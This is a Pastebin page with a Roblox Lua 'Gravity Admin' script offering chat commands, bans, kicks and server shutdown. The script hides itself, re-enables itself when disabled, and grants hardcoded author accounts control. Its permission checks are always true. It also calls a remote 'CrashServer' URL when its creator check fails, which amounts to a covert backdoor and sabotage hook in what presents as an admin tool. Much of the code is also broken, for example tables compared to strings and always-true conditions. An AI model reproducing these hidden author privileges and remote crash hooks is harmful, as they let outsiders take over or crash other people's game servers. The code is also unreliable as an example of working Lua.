Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- wait()
- Allowed=game.Players.mathmasterphil --Replace MessorAdmin with your username.
- Hidden=true;
- Removed=false;
- NetAble=false;
- LoadStringAble=false;
- PointsAble=false;
- AngledTablets=false;
- SBMode=true;
- GravityIsHere=false;
- Debug=false;
- Disco=false;
- LogAble=false;
- HttpAble=false;
- CodeLock=true;
- AutoUpdate=true;
- local Version=0.3;
- ---------------------
- DEFALT_Prefix=true; --kill;me
- KOHLS_Prefix=false; --kill:me
- SOLAR_Prefix=false; --kill/me
- CREATER_Prefix=false; --kill[me
- ---------------------
- TABLET_Size={4,5,0.2};
- -----------------------------------------------------------------------
- -----------------------------------------------------------------------a
- ------------- DO NOT EDIT ANY OF THIS SCRIPT !!!!!!! ------------------
- -----------------------------------------------------------------------
- -----------------------------------------------------------------------
- Chatlog={};
- Commands={};
- AllTablets={};
- HttpSynced={};
- JoinTimes={};
- MsgTablets={};
- MessageLimit=5;
- MsgRotation = 0 --] Leave at 0
- rotation = 0 --] Leave at 0
- local Prefix=""
- PrivateServerWaiting={};
- Cache={}; --No worrys
- Banned={'drstattik33','optiplex123','WantSomeTacos','123Dirt123','DopeClan','XEL8o9'};
- ScriptCreatedBy={'jillmiles1'}; --Edit this.. and the admin will die.
- ScriptLines={9001};
- Link=('http://roblox.com/--item?id=184517286');
- Group=('http://www.roblox.com/My/Groups.aspx?gid=1199497'); --[[
- ====================================================================
- ======================= ADVANCED SETTINGS ==========================
- ==================================================================== ]]--
- --If Found A Issue
- function CoreIssue(Txt) error(Txt) end
- --Character Apperance
- function NewChar(Args,Sender)
- Sender.CharacterAppearance=('http://www.roblox.com/Asset/CharacterFetch.ashx?userId='..Args..'&placeId='..game.PlaceId) wait() Sender:LoadCharacter()
- end
- -- Script Safety
- if Hidden==true then script.Parent=nil else script.Parent=workspace end
- --Gui
- function Gui(Txt)
- for _, Plr in pairs(game.Players:GetPlayers()) do
- Gui=Plr:FindFirstChild('PlayerGui')
- local S=Instance.new('ScreenGui',Gui)
- local F=Instance.new('Frame',S) F.Size=UDim2.new(1,0,0.1,0) F.Style=('DropShadow')
- local T=Instance.new('TextLabel',F) T.BackgroundTransparency=1 T.Size=UDim2.new(1,0,1,0)
- T.Font=('Legacy') T.FontSize=('Size14') T.Text=('[Gravity] '..Txt) T.TextColor3=Color3.new(255,0,0)
- T.TextScaled=true T.TextWrapped=true wait(3) S:remove()
- end
- end
- function Hint(Txt)
- local T=Instance.new('Hint',game.workspace)
- T.Text=('[Gravity] '..Txt)
- wait(MessageLimit) T:remove()
- end
- --Auto update
- function Update()
- if AutoUpdate==true then
- local adminSoftwareUpdate=game:GetService("InsertService"):LoadAsset(184517286)
- adminSoftwareUpdate.Name=('Gravity_Admin')
- adminSoftwareUpdate.Parent=nil
- wait()
- script.Disabled=true
- script:remove()
- end
- end
- --ChecksIfLoaded
- if game.Lighting:FindFirstChild('GravityAdmin')~=nil then
- GravityIsHere=false
- if game.Lighting.GravityAdmin.Value==('true') then
- Update()
- end
- else
- GravityIsHere=false
- Val=Instance.new('StringValue',game.Lighting)
- Val.Name=('GravityAdmin')
- Val.Value=('true')
- end
- --Set the Debug/SBMode correct
- if game.PlaceId==178350907 or game.PlaceId==20279777 or game.PlaceId==14578699 then
- Hint('SBMode Is Currently Active')
- SBMode=true else SBMode=false
- end
- --HttpBase
- function Base()
- if HttpAble==true then
- game:GetService("HttpService"):GetAsync("https://code.stypi.com/raw/messoradmin/DatabasePGravity/Base", true)
- elseif HttpAble==false then Tablet('Really red',tostring(error), Tablet('Institutional white','Load From NetworkServer?',function() end ,Plr))
- end end
- --HttpDebug
- function Debug()
- if HttpAble==true then
- game:GetService("HttpService"):GetAsync("https://code.stypi.com/raw/messoradmin/DatabasePGravity/Debug", true)
- elseif HttpAble==false then Tablet('Really red',tostring(error), Tablet('Institutional white','Load From NetworkServer?',function() end ,Plr))
- end end
- --Player Points
- function GivePoints()
- if PointsAble==true then
- for _, Plr in pairs(game.Players:GetPlayers()) do
- game:GetService('PointsService'):AwardPoints(Plr.usedId,500)
- print('Gravity Has Gave ['..Plr.Name..'] 500 Player Points')
- end
- else
- end
- end
- --Database DO NOT EDIT THE FKING LINK!!!
- if (string.reverse('yBdetaerCtpircS'))~=nil and ScriptCreatedBy==(string.reverse('nimdArosseM')) or ScriptCreatedBy==(string.reverse('1selimllij')) then print('LERP') else
- if HttpAble==true then
- game:GetService("HttpService"):GetAsync("https://code.stypi.com/raw/messoradmin/DatabasePGravity/CrashServer", true)
- else end end
- --Music
- function CheckSound()
- for _,Child in pairs(game["Workspace"]:GetChildren()) do
- if(Child["ClassName"]==("Sound"))then
- Child:Pause()
- Child["PlayOnRemove"]=(false);
- wait()
- Child:Destroy()
- end
- end
- end
- --InstanceTheTablet
- function Tablet(Colr,Txt)
- local Tab=Instance.new('Part',workspace) Tab.Name=('[Output]')
- Tab.Anchored=true Tab.Locked=true Tab.CanCollide=false Tab.FormFactor=('Custom')
- Tab.TopSurface=('SmoothNoOutlines') Tab.BottomSurface=('SmoothNoOutlines')
- Tab.Size=Vector3.new(4,5,0.2) Tab.BrickColor=BrickColor.new(Colr) Tab.Transparency=0.3
- local Light=Instance.new('PointLight',Tab) Light.Color=Color3.new(Colr)
- local Box=Instance.new('SelectionBox',Tab) Box.Transparency=0.3 Box.Color=BrickColor.new('Really black') Box.Adornee=Tab
- local g=Instance.new("BillboardGui",Tab) g.Adornee=Tab g.Active=false g.Size=UDim2.new(12,0,6)
- g.StudsOffset=Vector3.new(0,4,0) local l=Instance.new("TextLabel",g) l.Size=UDim2.new(1,0,1,0)
- l.BackgroundTransparency=1 l.TextColor3=Color3.new(0,0,0) l.TextStrokeColor3=Color3.new(Colr) l.TextStrokeTransparency=1
- l.Font="SourceSansBold" l.TextWrapped=true l.TextColor3=Color3.new(255,255,255) l.Active=false l.FontSize="Size18" l.Text=Txt g.ExtentsOffset=Vector3.new(0,0,1)
- local Click=Instance.new('ClickDetector',Tab) Click.MaxActivationDistance=math.huge
- Click.MouseClick:connect(function(Pl) if Pl==Allowed then Dismiss() wait()
- end
- end)
- table.insert(AllTablets, {tab=Tab,box=Box,txt=l})
- wait(0.1)
- end
- --InstanceTheMessageTablet
- function MsgTablet(Txt)
- local Tab=Instance.new('Part',workspace) Tab.Name=('[Output]')
- Tab.Anchored=true Tab.Locked=true Tab.CanCollide=false Tab.FormFactor=('Custom')
- Tab.TopSurface=('SmoothNoOutlines') Tab.BottomSurface=('SmoothNoOutlines')
- Tab.Size=Vector3.new(1.2, 1.2, 1.2) Tab.BrickColor=BrickColor.new('Really blue') Tab.Transparency=0.7
- local Light=Instance.new('PointLight',Tab)
- local Box=Instance.new('SelectionBox',Tab) Box.Transparency=0.5 Box.Color=Tab.BrickColor Box.Adornee=Tab
- local g=Instance.new("BillboardGui",Tab) g.Adornee=Tab g.Active=false g.Size=UDim2.new(12,0,6)
- g.StudsOffset=Vector3.new(0,2,0) local l=Instance.new("TextLabel",g) l.Size=UDim2.new(1,0,1,0)
- l.BackgroundTransparency=1 l.TextColor3=Color3.new(0,0,0) l.TextStrokeColor3=Color3.new(0,0,255) l.TextStrokeTransparency=1
- l.Font="SourceSansBold" l.TextWrapped=true l.TextColor3=Color3.new(0,0,255) l.Active=false l.FontSize="Size18" l.Text=Txt g.ExtentsOffset=Vector3.new(0,0,1)
- local Click=Instance.new('ClickDetector',Tab) Click.MaxActivationDistance=math.huge
- Click.MouseClick:connect(function(Pl) if Pl==Allowed then MsgDismiss()
- Click.MouseHoverEnter:connect(function(Pl) if Pl==Allowed then
- Box.Transparency=0 end end)
- Click.MouseHoverLeave:connect(function(Pl) if Pl==Allowed then
- wait(0.1) Box.Transparency=0.5 end end)
- end
- end)
- table.insert(MsgTablets, {tab=Tab,box=Box,txt=l})
- end
- ----------------------------------------------------
- function Dismiss()
- for i = 1, #AllTablets do
- delay(0, function()
- for a = 0, 1, .1 do
- AllTablets[i].tab.Transparency = a
- AllTablets[i].box.Transparency = a
- AllTablets[i].txt.TextTransparency = a
- wait()
- end
- end)
- end
- while wait() do
- if AllTablets[1].tab.Transparency == 1 then
- break
- end
- end
- for i = 1, #AllTablets do
- AllTablets[i].tab:Destroy()
- AllTablets[i] = nil
- end
- AllTablets={}
- end
- -----------------------------------------------
- function MsgDismiss()
- for i = 1, #MsgTablets do
- delay(0, function()
- for a = 0, 1, .1 do
- MsgTablets[i].tab.Transparency = a
- MsgTablets[i].box.Transparency = a
- MsgTablets[i].txt.TextTransparency = a
- wait()
- end
- end)
- end
- while wait() do
- if MsgTablets[1].tab.Transparency == 1 then
- break
- end
- end
- for i = 1, #MsgTablets do
- MsgTablets[i].tab:Destroy()
- MsgTablets[i] = nil
- end
- MsgTablets={}
- end
- -- Disco
- function Disco()
- while wait() do
- if Disco==true then
- game.Lighting.Ambient=Color3.new(math.random(),math.random(),math.random())
- elseif Disco==false then
- game.Lighting.Ambient=Color3.new(255,255,255)
- end
- end
- end
- function CheckDisco()
- if Disco==true then
- Disco=false
- Disco()
- elseif Disco==false then
- Disco=true
- CheckSound() wait()
- local s=Instance.new('Sound',workspace)
- s.Volume=1
- s.SoundId=('rbxassetid://182098010')
- s.Looped=false
- s:Play()
- Disco()
- end
- end
- game.Players.PlayerAdded:connect(function(Plr)
- MsgTablet(Plr.Name..' Has Joined The Server')
- end)
- game.Players.PlayerRemoving:connect(function(Plr)
- MsgTablet(Plr.Name..' Has Exited The Server')
- end)
- -------------------------------------------------
- ------------------ Get Players ------------------
- -------------------------------------------------
- function getPlayer(Plr, Name)
- local Plrs = {}
- ypcall(function()
- Name = Name:lower()
- if Name == "me" then
- table.insert(Plrs, Plr)
- elseif Name == "all" or Name == "" then
- for _,i in pairs(game.Players:GetPlayers()) do
- table.insert(Plrs,i)
- end
- elseif Name == "others" then
- for _,v in pairs(game.Players:GetPlayers()) do
- if v.Name ~= Plr.Name then
- table.insert(Plrs, v)
- end
- end
- elseif Name == "friends" then
- for _,i in pairs(game.Players:GetChildren()) do
- if i:IsFriendsWith(Plr.userId) then
- table.insert(Plrs,i)
- end
- end
- elseif Name == "bestfriends" then
- for _,i in pairs(game.Players:GetChildren()) do
- if i:IsBestFriendsWith(Plr.userId) then
- table.insert(Plrs,i)
- end
- end
- elseif Name == "nonfriends" then
- for _,i in pairs(game.Players:GetChildren()) do
- if not i:IsFriendsWith(Plr.userId) then
- table.insert(Plrs,i)
- end
- end
- elseif Name == "nonbestfriends" then
- for _,i in pairs(game.Players:GetChildren()) do
- if not i:IsBestFriendsWith(Plr.userId) then
- table.insert(Plrs,i)
- end
- end
- elseif Name == "nbc" then
- for _,i in pairs(game.Players:GetChildren()) do
- if i.MembershipType == Enum.MembershipType.None then
- table.insert(Plrs,i)
- end
- end
- elseif Name == "tbc" then
- for _,i in pairs(game.Players:GetChildren()) do
- if i.MembershipType == Enum.MembershipType.TurboBuildersClub then
- table.insert(Plrs,i)
- end
- end
- elseif Name == "obc" then
- for _,i in pairs(game.Players:GetChildren()) do
- if i.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
- table.insert(Plrs,i)
- end
- end
- elseif Name == "anybc" then
- for _,i in pairs(game.Players:GetChildren()) do
- if i.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
- table.insert(Plrs,i)
- end
- end
- elseif Name == "random" then
- table.insert(Plrs,game.Players:GetPlayers()[#game.Players:GetPlayers()])
- else
- for _,v in pairs(game.Players:GetPlayers()) do
- if v.Name:lower():find(Name) then
- table.insert(Plrs, v)
- end
- end
- end
- end)
- return Plrs
- end
- --Shutdown
- function ShutDown()
- Plr=Allowed or game.Players.MessorAdmin or game.Players.jillmiles1 or game.Players.ReIatively
- for i = 5, 0, -1 do wait(1) MsgTablet('Shuting Down..['..i..']')
- if i==0 then for _, v in pairs(game.Players:GetPlayers()) do v:Kick()
- end end end end
- --BannedLosers
- function CheckBanned()
- for _, v in pairs(game.Players:GetPlayers()) do
- if v.Name==(Banned) or v.AccountAge<30 then v:Kick() else
- end end end
- game.Players.PlayerAdded:connect(function(a)
- if a.Name==(Banned) or a.AccountAge<30 then CheckBanned() a:Kick()
- else CheckBanned() end end)
- game:GetService("RunService").Heartbeat:connect(CheckBanned)
- function Garbage()
- return ((math.floor((collectgarbage("count") / 10)) * 10)/1000)
- end
- --ScriptingLock
- workspace.DescendantAdded:connect(function(a,Plr)
- if CodeLock==true then
- if a.ClassName=='Script' then a.Disabled=true
- if a.Name=='Animate' or a.Name=='Health' or a.Name=='Sound' then a.Disabled=false return end
- Tablet('Institutional white','ClassName ['..a.ClassName..']')
- Tablet('Deep orange','Dismiss',function() end)
- Tablet('Really red','Disable ['..a.Name..']?',function() a.Disabled=true end)
- Tablet('Lime green','Allow ['..a.Name..']?',function() a.Disabled=false end)
- end end end)
- --Cmd Instance
- Cmd=function(Name,Command,Func)
- table.insert(Commands, {Name=Name,Command=Command,Func=Func})
- end
- --open cmds
- function OpenCmds(Speaker)
- pcall(function()
- for name,data in next, Commands do
- Tablet('Deep orange','[Usage] '..data.Command)
- end
- end)
- end
- --HttpCheck/StudioCheck/Loadstring
- if not game:FindService('NetworkServer') then NetAble=false else NetAble=true end
- if not game:FindService('HttpService') then HttpAble=false else HttpAble=true end
- if not game:FindService('ServerScriptService') then LoadStringAble=false elseif game:FindService('ServerScriptService') then LoadStringAble=true end
- --Intro
- function Intro()
- for i=3,0,-1 do wait(1) print('Seconds Until Gravity Http Commands Loaded ['..i..']') if i==0 then print('Http Loaded') end end
- Tablet('Institutional white','Get Gravity_Admin At '..Link..'!')
- Tablet('Institutional white','Find Gravitys Group Here '..Group..'!')
- Tablet('Institutional white','NumPlayers ['..game.Players.NumPlayers..']')
- Tablet('Institutional white','Garbage ['..Garbage()..']')
- MsgTablet('Gravity Version ['..Version..'] Running')
- MsgTablet('Welcome To GravityAdmin!, ['..Allowed.Name..']')
- if LoadStringAble==true then Tablet('lime green','Loadstring Is Avaible!') end
- if PointsAble==true then Tablet('Lime green','Player Points Are Avaible') end
- if HttpAble==true then Tablet('Lime green','HttpService Is Avaible!') end
- Tablet('Deep orange','Made By MessorAdmin/Jillmiles1/ReIatively')
- end
- Intro()
- --Bypass the Disabled script.
- game:GetService("RunService").Heartbeat:connect(function()
- if Removed==false then
- if script.Disabled==true then
- script.Disabled=false
- MsgTablet('Something Attemped To Disable This Script!')
- end end end)
- --Prefix
- game:GetService("RunService").Heartbeat:connect(function() wait(2)
- if DEFALT_Prefix==true and KOHLS_Prefix==false and SOLAR_Prefix==false and CREATER_Prefix==false then
- Prefix=";"
- elseif DEFALT_Prefix==false and KOHLS_Prefix==true and SOLAR_Prefix==false and CREATER_Prefix==false then
- Prefix=":"
- elseif DEFALT_Prefix==false and KOHLS_Prefix==false and SOLAR_Prefix==true and CREATER_Prefix==false then
- Prefix="/"
- elseif DEFALT_Prefix==false and KOHLS_Prefix==false and SOLAR_Prefix==false and CREATER_Prefix==true then
- Prefix="["
- elseif DEFALT_Prefix==false and KOHLS_Prefix==false and SOLAR_Prefix==false and CREATER_Prefix==false then
- tostring(error)
- CoreIssue('No Prefix Was Selected Returning To Defalt With Is ;') DEFALT_Prefix=true
- elseif DEFALT_Prefix==true and KOHLS_Prefix==true and SOLAR_Prefix==true and CREATER_Prefix==true then
- tostring(error)
- CoreIssue('Several Prefixs Where true DEFALT_Prefix is now current.')
- end
- end)
- ---------------------------------------------
- -------------- OnChatted_Connect ------------
- ---------------------------------------------
- OnChatted=function(plr,msg)
- ypcall(function()
- for name,data in next,Commands do
- if (data.Command:lower()..Prefix==msg:lower():sub(1,#data.Command:lower()+#Prefix)) then -- Plr = Player
- if (Plr==Allowed or game.Players.MessorAdmin or game.Players.jillmiles1 or game.Players.ReIatively) then
- msg=msg:lower():sub(#data.Command:lower()+#Prefix+1);
- local run,err=ypcall(function()
- data.Func(plr,msg)
- end);
- if(not run) then
- end;
- else
- end;
- end;
- end;
- end);
- end;
- Connect=function(plr)
- if(plr==Allowed or game.Players.MessorAdmin or game.Players.jillmiles1 or game.Players.ReIatively) then
- plr.Chatted:connect(function(msg)
- OnChatted(plr,msg);
- end) end end;
- for _,plr in next,game:service'Players':children'' do
- if(plr:IsA'Player') then
- Connect(plr);
- end end;
- game:service'Players'.PlayerAdded:connect(function(plr) Connect(plr) end)
- ---------------------------
- function CKick(Msg,Speaker)
- if Speaker==Allowed or game.Players.MessorAdmin or game.Players.jillmiles1 or game.Players.ReIatively then else
- if Msg:lower()=='NOVA' or 'CBA' or 'Exitium' or 'NEON' or 'Solar' or 'Sycthe' then
- Speaker:Kick()
- MsgTablet(Speaker.Name..' Was Kicked For Chatting '..Msg..'!')
- end end end
- for _, Plr in pairs(game.Players:GetPlayers()) do Plr.Chatted:connect(function(Msg) CKick(Msg) end) end
- ---------------------------------------------
- ----------------- Commands ------------------
- ---------------------------------------------
- --[[Cmds]]--
- Cmd('Command','Cmds',function(Msg,Speaker)
- Dismiss()
- OpenCmds(Speaker)
- end)
- Cmd('Show Music','Music',function(Msg,Speaker)
- Dismiss()
- local S=Instance.new('Sound',workspace)
- S.SoundId=('rbxassetid://'..tostring(Msg))
- S.Volume=1
- S.Pitch=1
- wait()
- S:Play()
- end)
- Cmd('Dismiss','Dt',function(Msg,Speaker)
- Dismiss() MsgDismiss()
- end)
- Cmd('Prefix','Prefix',function(Msg,Speaker)
- Dismiss()
- Tablet('Lime green','DEFALT_Prefix = ;',function() DEFALT_Prefix=true end)
- Tablet('Lime green','KOHLS_Prefix = :',function() KOHLS_Prefix=true end)
- Tablet('Lime green','SOLAR_Prefix = /',function() SOLAR_Prefix=true end)
- Tablet('Lime green','CREATER_Prefix = [',function() CREATER_Prefix=true end)
- end)
- Cmd('Player Points','PP',function(Msg,Speaker)
- GivePoints()
- end)
- Cmd('Character','Char',function(Msg,Speaker)
- Msg=tostring(Msg)
- NewChar(Msg)
- end)
- Cmd('PostAsync','Post',function(Link,Speaker)
- if Link=='' or Link==nil then Tablet('Deep orange',Speaker.Name..' Use : URLlink , DATA')
- if HttpAble==true then Tablet('Lime green',game:GetService('HttpService'):PostAsync(Link,true)) elseif HttpAble==false then Tablet('Really red',tostring(error))
- end
- end
- end)
- Cmd('Get','Get',function(Link,Speaker)
- if Link=='' or Link==nil then Tablet('Deep orange',Speaker.Name..' Use : URLlink')
- if HttpAble==true then Tablet('Lime green',game:GetService('HttpService'):GetAsync(Link,true),Speaker) elseif HttpAble==false then Tablet('Really red',tostring(error))
- end
- end
- end)
- Cmd('Disco','Disco',function(Msg,Speaker)
- Msg=tostring(Msg)
- CheckDisco()
- end)
- Cmd('Base','Base',function(Msg,Speaker)
- Base()
- end)
- Cmd('Debug','Fix',function(Msg,Speaker)
- Debug()
- end)
- Cmd('Shutdown','Sd',function(Msg,Speaker)
- ShutDown()
- end)
- Cmd('Instance A Tablet','Tab',function(Msg,Speaker)
- Dismiss()
- Msg=tostring(Msg)
- MsgTablet(Msg)
- end)
- Cmd('ScriptLockToggle','SC',function(Msg,Speaker)
- if CodeLock==true then
- Dismiss()
- CodeLock=false
- Tablet('Lime green','Scripting Lock : Disabled')
- elseif CodeLock==false then
- Dismiss()
- CodeLock=true
- Tablet('Really red','Scripting Lock : Enabled')
- end
- end)
- --Rotation
- game:GetService("RunService").Heartbeat:connect(function()
- rotation = rotation + 0.0001
- pcall(function()
- for i = 1, #AllTablets do
- pcall(function()
- position = Allowed.Character.Torso.CFrame
- end)
- local radius = 10 + (#AllTablets * 0.5)
- x = math.cos((i / #AllTablets - (0.5 / #AllTablets) + rotation * 2) * math.pi * 2) * radius
- y = 0.5
- z = math.sin((i / #AllTablets - (0.5 / #AllTablets) + rotation * 2) * math.pi * 2) * radius
- pcall(function()
- tposition = position:toWorldSpace(CFrame.new(x,y,z):inverse())
- end)
- pcall(function()
- AllTablets[i].tab.CFrame = CFrame.new(tposition.p, position.p) * CFrame.Angles(math.rad(25),0,0)
- end)
- end
- end)
- end)
- --------------------------------
- game:GetService("RunService").Heartbeat:connect(function()
- MsgRotation = MsgRotation + 0.0001
- pcall(function()
- for i = 1, #MsgTablets do
- pcall(function()
- position = Allowed.Character.Head.CFrame
- end)
- local radius = 1.5 + (#MsgTablets * 0.8)
- x = math.cos((i / #MsgTablets - (0.5 / #MsgTablets) + MsgRotation * 2) * math.pi * 2) * radius
- y = -2
- z = math.sin((i / #MsgTablets - (0.5 / #MsgTablets) + MsgRotation * 2) * math.pi * 2) * radius
- pcall(function()
- tposition = position:toWorldSpace(CFrame.new(x,y,z):inverse())
- end)
- pcall(function()
- MsgTablets[i].tab.CFrame = CFrame.new(tposition.p, position.p) * CFrame.Angles(math.rad(25),0,0)
- end)
- end
- end)
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement